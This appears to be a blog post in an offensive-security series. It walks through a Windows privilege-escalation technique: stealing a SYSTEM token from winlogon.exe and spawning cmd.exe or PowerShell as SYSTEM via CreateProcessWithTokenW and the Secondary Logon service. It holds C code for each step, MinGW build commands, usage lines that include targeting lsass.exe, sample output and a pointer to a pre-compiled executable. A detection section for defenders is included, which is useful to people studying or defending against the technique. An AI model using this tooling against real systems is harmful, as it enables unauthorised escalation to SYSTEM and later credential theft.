Skip to main content

Command Palette

Search for a command to run...

The Seclogon Shortcut — Spawning SYSTEM Processes via CreateProcessWithTokenW

Updated
13 min readView as Markdown
The Seclogon Shortcut — Spawning SYSTEM Processes via CreateProcessWithTokenW

How a built-in Windows service does the dirty work for you — converting Impersonation tokens to Primary tokens behind the scenes, letting you spawn processes as SYSTEM with fewer privileges and less code than any other method.


Previously — The Hard Way

In Part 1, we explored the Suspended Process Token Swap — the most evasive token manipulation technique in Windows. We created a clean process, froze it before it executed a single instruction, swapped its identity via the undocumented NtSetInformationProcess, and resumed it as SYSTEM. Maximum evasion, but maximum complexity too:

  • Required SeAssignPrimaryTokenPrivilege (SYSTEM-only privilege)

  • Required manual Primary→Primary token duplication

  • Required resolving an undocumented ntdll.dll API at runtime

  • Required creating a suspended process and managing its lifecycle

  • Required understanding NTSTATUS error codes

What if there was a simpler path? What if Windows itself had a built-in service that could handle the messy token conversion for you?

It does. It's called Secondary Logon (seclogon), and it's the engine behind CreateProcessWithTokenW.


The Core Insight — Let Windows Do the Conversion

Recall the fundamental rule from Part 1:

A process requires a Primary token. A thread can hold an Impersonation token.

When you steal a token from another process and duplicate it, you typically get an Impersonation token (or you convert it to one for thread-level impersonation). To spawn a new process with that stolen identity, you need a Primary token — because processes only accept Primary tokens at birth.

In technique B1 (CreateProcessAsUserW), you do this conversion manually:

  1. Steal the token

  2. Call DuplicateTokenEx with TokenPrimary to convert Impersonation → Primary

  3. Call CreateProcessAsUserW with the new Primary token

  4. This requires SeAssignPrimaryTokenPrivilege — which regular admins don't have

In technique B3 (Suspended Token Swap), you also need a Primary token for the swap — same privilege requirement.

B2 is different. CreateProcessWithTokenW accepts an Impersonation token directly. You don't need to convert it. You don't need SeAssignPrimaryTokenPrivilege. The Secondary Logon service (seclogon) running under svchost.exe receives your Impersonation token, converts it to Primary internally using its own SYSTEM-level privileges, creates the process, and hands you back the result.

  B1 (manual):     Imp Token → YOU convert → Primary Token → CreateProcessAsUserW
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)

  B2 (seclogon):   Imp Token → seclogon converts → Primary Token → Process Created
                   Requires: SeImpersonatePrivilege ✅ (admin has it)

  B3 (swap):       Primary Token → NtSetInformationProcess on suspended process
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)

The trade-off is clear: B2 trades evasion for simplicity. You need fewer privileges, less code, and no undocumented APIs. But the seclogon service interaction is logged, and the token is visible at process creation time.


What Is the Secondary Logon Service?

The Secondary Logon service (seclogon) is a legitimate Windows service that enables the "Run as different user" functionality. When you right-click an application and select "Run as different user," or when you use the runas.exe command-line tool — that's seclogon working behind the scenes.

It runs as NT AUTHORITY\SYSTEM under a svchost.exe instance, which means it has all the privileges needed to create processes with arbitrary tokens. When CreateProcessWithTokenW is called, it doesn't do the work itself — it sends an RPC request to the seclogon service, which:

  1. Takes your Impersonation token

  2. Internally calls DuplicateTokenEx to convert it to a Primary token (using its own SYSTEM privileges)

  3. Creates the process with the Primary token via the kernel

  4. Returns the process handle back to the caller

The key insight: seclogon is already SYSTEM, so it has SeAssignPrimaryTokenPrivilege. You don't need it — seclogon has it for you.


The Complete Attack Flow

Here's the full chain:

  ┌──────────────────────────────┐
  │ 1. Check seclogon service    │   ← Must be running                                 | |                              |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 2. Enable SeDebugPrivilege   │   ← Required to touch SYSTEM processes                        |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 3. Steal SYSTEM token from   │   ← OpenProcess → OpenProcessToken                 |
  │    winlogon.exe              │
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────────────┐
  │ 4. DuplicateTokenEx(                 │
  │      TokenType = TokenImpersonation  │   ← Stay as Impersonation!                           |
  │    )                                 │
  └──────────────┬───────────────────────┘
                 ▼
  ┌──────────────────────────────────────────┐
  │ 5. CreateProcessWithTokenW(              │
  │      hImpersonationToken,                │   ← Imp token goes directly                                     |
  │      LOGON_WITH_PROFILE,                 │
  │      "cmd.exe"                           │
  │    )                                     │
  │    → seclogon converts to Primary        │
  │    → New process runs as SYSTEM          │
  └──────────────────────────────────────────┘

Compare this to B3's flow — no suspended processes, no NtSetInformationProcess, no NTSTATUS error handling, no undocumented APIs. Five steps instead of ten.


The Code — Walking Through Every Line

📁 Full source code: seclogon_spawn.c

📁 Shared utility header: common.h

📦 Pre-compiled executable: B2_seclogon_spawn.exe


Part 1: Checking the seclogon Service

Before we do anything, we check if the Secondary Logon service is running. If it's disabled (a common hardening measure), CreateProcessWithTokenW will fail with error code 1058 (ERROR_SERVICE_DISABLED).

static BOOL check_seclogon_service(void) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCM) {
        print_info("Cannot query SCM — proceeding anyway");
        return TRUE;
    }

    SC_HANDLE hSvc = OpenServiceA(hSCM, "seclogon", SERVICE_QUERY_STATUS);
    if (!hSvc) {
        print_fail_custom("Cannot open seclogon service", GetLastError());
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    SERVICE_STATUS ss;
    BOOL running = FALSE;
    if (QueryServiceStatus(hSvc, &ss)) {
        running = (ss.dwCurrentState == SERVICE_RUNNING);
    }

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return running;
}

We use the Service Control Manager (OpenSCManagerA) to connect to the services database, open a handle to the seclogon service, and query its current state. If dwCurrentState isn't SERVICE_RUNNING, we bail out with a helpful error message suggesting alternatives (B1 or manually starting the service with sc start seclogon).

This pre-check is important because CreateProcessWithTokenW produces a cryptic error code 1058 when seclogon is disabled. Our explicit check gives the operator actionable information immediately.


Part 2: Stealing and Duplicating the Token

This part is identical to the other techniques — we steal SYSTEM's token from winlogon.exe:

DWORD pid = find_pid_by_name("winlogon.exe");

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

HANDLE hStolenPrimary = NULL;
OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hStolenPrimary);

But here's where B2 diverges from B1 and B3. When we duplicate the token, we keep it as Impersonation — not Primary:

HANDLE hImpToken = NULL;
DuplicateTokenEx(
    hStolenPrimary,           /* Source: winlogon's primary token */
    TOKEN_ALL_ACCESS,         /* Full access on the new token */
    NULL,                     /* Default security attributes */
    SecurityImpersonation,    /* Impersonation level */
    TokenImpersonation,       /* ← STAY AS IMPERSONATION! */
    &hImpToken                /* Receives the new impersonation token */
);

In B1, we'd use TokenPrimary here. In B3, we'd use TokenPrimary. In B2, we explicitly use TokenImpersonation because CreateProcessWithTokenW is designed to accept Impersonation tokens directly. The seclogon service handles the conversion for us.

This is the fundamental insight of the technique: skip the conversion step entirely and let the OS service do it with its own elevated privileges.


Part 3: CreateProcessWithTokenW — The Core API

The actual spawn is a single API call:

STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.lpDesktop = L"WinSta0\\Default";

DWORD dwCreationFlags = CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT;

CreateProcessWithTokenW(
    hImpToken,            /* hToken — Impersonation token is OK! */
    LOGON_WITH_PROFILE,   /* dwLogonFlags */
    NULL,                 /* lpApplicationName */
    spawn_cmd,            /* lpCommandLine — e.g., L"cmd.exe" */
    dwCreationFlags,      /* dwCreationFlags */
    NULL,                 /* lpEnvironment */
    NULL,                 /* lpCurrentDirectory */
    &si,                  /* lpStartupInfo */
    &pi                   /* lpProcessInformation */
);

Let's break down each parameter:

LOGON_WITH_PROFILE vs LOGON_NETCREDENTIALS_ONLY:

Flag What it does When to use
LOGON_WITH_PROFILE Loads the full user profile (HKEY_CURRENT_USER, environment, desktop) Interactive sessions — when you need the process to "feel" like the target user
LOGON_NETCREDENTIALS_ONLY Only uses the token's identity for network access When you just need the stolen identity for network resources but want to keep the local profile as-is

For most offensive use cases, LOGON_WITH_PROFILE is what you want — it creates a fully interactive process under the stolen identity.


Part 4: Error Handling — What Goes Wrong

CreateProcessWithTokenW has three common failure modes, and our code handles all of them:

if (!CreateProcessWithTokenW(...)) {
    DWORD err = GetLastError();

    switch (err) {
        case 1314:  /* ERROR_PRIVILEGE_NOT_HELD */
            printf("→ SeImpersonatePrivilege not held\n");
            break;
        case 1058:  /* ERROR_SERVICE_DISABLED */
            printf("→ seclogon service is disabled — use B1 instead\n");
            break;
        case 5:     /* ERROR_ACCESS_DENIED */
            printf("→ Access denied — check token access rights\n");
            break;
    }
}

B2 vs B3 — The Honest Comparison

Let's put these two techniques side by side:

Privilege Requirements

Privilege B2 (seclogon) B3 (NtSetInformationProcess)
SeDebugPrivilege ✅ Required ✅ Required
SeImpersonatePrivilege ✅ Required Not needed
SeAssignPrimaryTokenPrivilege Not needed ✅ Required (SYSTEM only!)
Available to regular Admin? Yes No

Winner: B2. A regular admin account can use B2 directly. B3 requires SYSTEM-level privileges, meaning you need to chain it with thread-level impersonation first.

Winner: B3. The suspended token swap has a fundamentally cleaner forensic trail. The process creation event shows the original identity, and there's no service interaction to log..

Tie. Each has a different dependency. B2 depends on an external service (which can be disabled). B3 depends on an undocumented API (which could change between Windows versions, though it hasn't in 20+ years).

Detection Surface — How Blue Teams Catch B2

B2 is more detectable than B3, but that doesn't mean it's trivial to detect. Here's what to monitor:

1. Secondary Logon Service Events

When CreateProcessWithTokenW is called, it generates an RPC interaction with the seclogon service. This can be monitored via:

  • Event ID 4688 (Process Creation) — the new process shows the stolen identity, not the caller's identity

  • Service Control events — interactions with seclogon from unexpected processes

  • ETW traces on the Microsoft-Windows-Security-Auditing provider

2. Token Type Anomaly

Legitimate uses of CreateProcessWithTokenW (like runas.exe) follow predictable patterns:

  • runas.exeseclogon → new process

  • Interactive user → right-click "Run as" → seclogon → new process

An attacker's chain is different:

  • Random process → OpenProcessToken on winlogon.exeDuplicateTokenExseclogon → SYSTEM process

The combination of OpenProcessToken on a SYSTEM process followed by CreateProcessWithTokenW is suspicious.

3. Process Tree Analysis

When B2 spawns a process, the parent PID is the calling process, not seclogon. So you'll see something like:

  malware.exe (PID 1234) → cmd.exe (PID 5678, running as SYSTEM)

A regular admin process spawning a SYSTEM process is always suspicious, regardless of the API used.

4. seclogon Service State Monitoring

Organizations that disable seclogon as a hardening measure should monitor for:

  • Attempts to start the service (sc start seclogon)

  • Registry modifications to the service configuration (HKLM\SYSTEM\CurrentControlSet\Services\seclogon)

  • Successful seclogon starts from non-standard service managers

Building and Running

Cross-Compile from Linux (MinGW)

x86_64-w64-mingw32-gcc -O2 -Wall -Wextra \
    -o B2_seclogon_spawn.exe seclogon_spawn.c \
    -ladvapi32 -lkernel32 -luserenv -municode

The -luserenv library is needed because LOGON_WITH_PROFILE triggers user profile loading, which uses APIs from userenv.dll. The -municode flag is needed for the wmain entry point (wide-character argument handling).

📦 Or grab the pre-compiled exe directly from the repository.

Usage

# Default: steal from winlogon.exe → spawn cmd.exe as SYSTEM
.\B2_seclogon_spawn.exe

# Custom: steal from lsass.exe → spawn powershell as SYSTEM
.\B2_seclogon_spawn.exe lsass.exe "powershell.exe"

Expected Output (When Run as Admin)

  ╔══════════════════════════════════════════════╗
  ║   Access Token Manipulation — PoC Toolkit    ║
  ╚══════════════════════════════════════════════╝

  Technique: B2 — CreateProcessWithTokenW (seclogon shortcut)
  Target:    winlogon.exe
  Spawn:     cmd.exe

[*] Checking if Secondary Logon (seclogon) service is running...
[+] seclogon service is RUNNING — CreateProcessWithTokenW will work

[*] Current process identity:
[+] Running as: DESKTOP\Alice

[*] Enabling SeDebugPrivilege...
[+] SeDebugPrivilege enabled
[*] Enabling SeImpersonatePrivilege...

[*] Finding winlogon.exe...
[+] Found winlogon.exe at PID 612
[+] Stolen primary token acquired
[+] Stolen identity: NT AUTHORITY\SYSTEM

[*] Duplicating token as Impersonation (NO conversion to Primary needed!)...
[+] Token duplicated as TokenImpersonation
[*] Duplicated Token Type: TokenImpersonation
[*] NOTE: No Imp→Primary conversion needed — seclogon handles it internally

[*] Spawning process via CreateProcessWithTokenW...
[*] (seclogon service will convert Impersonation → Primary internally)

  ╔══════════════════════════════════════════════════╗
  ║  PROCESS SPAWNED VIA SECLOGON (Imp token OK!)    ║
  ╚══════════════════════════════════════════════════╝

[+] PID: 3456
[+] Thread ID: 3460
[+] Process running as: NT AUTHORITY\SYSTEM

  B2 vs B1 advantage: No SeAssignPrimaryTokenPrivilege required!
  B2 vs B3 advantage: No undocumented APIs, simpler implementation.
  B2 weakness:        Depends on seclogon service being enabled.
  B2 vs B3 weakness:  Token IS visible in process creation event.

[+] B2 technique complete.

Notice the simplicity compared to B3's output — no suspended process, no before/after identity verification, no NtSetInformationProcess resolution. The seclogon service handles the messy parts.

The Bigger Picture — Where B2 Fits

We now have 6 complete token manipulation techniques. Here's the complete map:

Technique API Token Direction Privilege Bar Evasion Level Service Dependency
A1 — Steal & Impersonate SetThreadToken Primary → Imp Admin N/A None
A2 — Privilege Reduction AdjustTokenPrivileges Primary → Imp Admin N/A None
B1CreateProcessAsUserW Direct kernel call Imp → Primary SYSTEM 🔴 High visibility None
B2CreateProcessWithTokenW (this blog) Via seclogon Imp → (auto) Primary Admin 🟡 Medium seclogon
B3 — Suspended Token Swap NtSetInformationProcess Primary → Primary SYSTEM 🟢 Low visibility None
B4CreateProcessWithLogonW Via seclogon + creds Credentials → Primary Admin 🟡 Medium seclogon

B2 sits in the sweet spot: admin-accessible with reasonable simplicity. It's not the stealthiest (B3 wins there), and it's not the most portable (B1 wins there), but it's the technique you reach for when you have admin privileges and just need a SYSTEM process spawned quickly.


Conclusion

CreateProcessWithTokenW via the Secondary Logon service represents the pragmatic middle ground in token manipulation. It sacrifices the forensic cleanliness of B3's suspended token swap for a dramatically simpler implementation that works from a regular admin context — no SYSTEM-level privileges required, no undocumented APIs, no manual token type conversion.

The trade-offs are real:

  • seclogon dependency — if the service is disabled, the technique fails entirely

  • Visible at creation — the stolen identity appears in process creation events and EDR callbacks

  • Service interaction logged — the RPC call to seclogon is observable

But in environments where seclogon is running (the default Windows configuration), B2 gives you the fastest path from "admin shell" to "SYSTEM process" with the least amount of code.

The series so far:

MITRE ATT&CK References: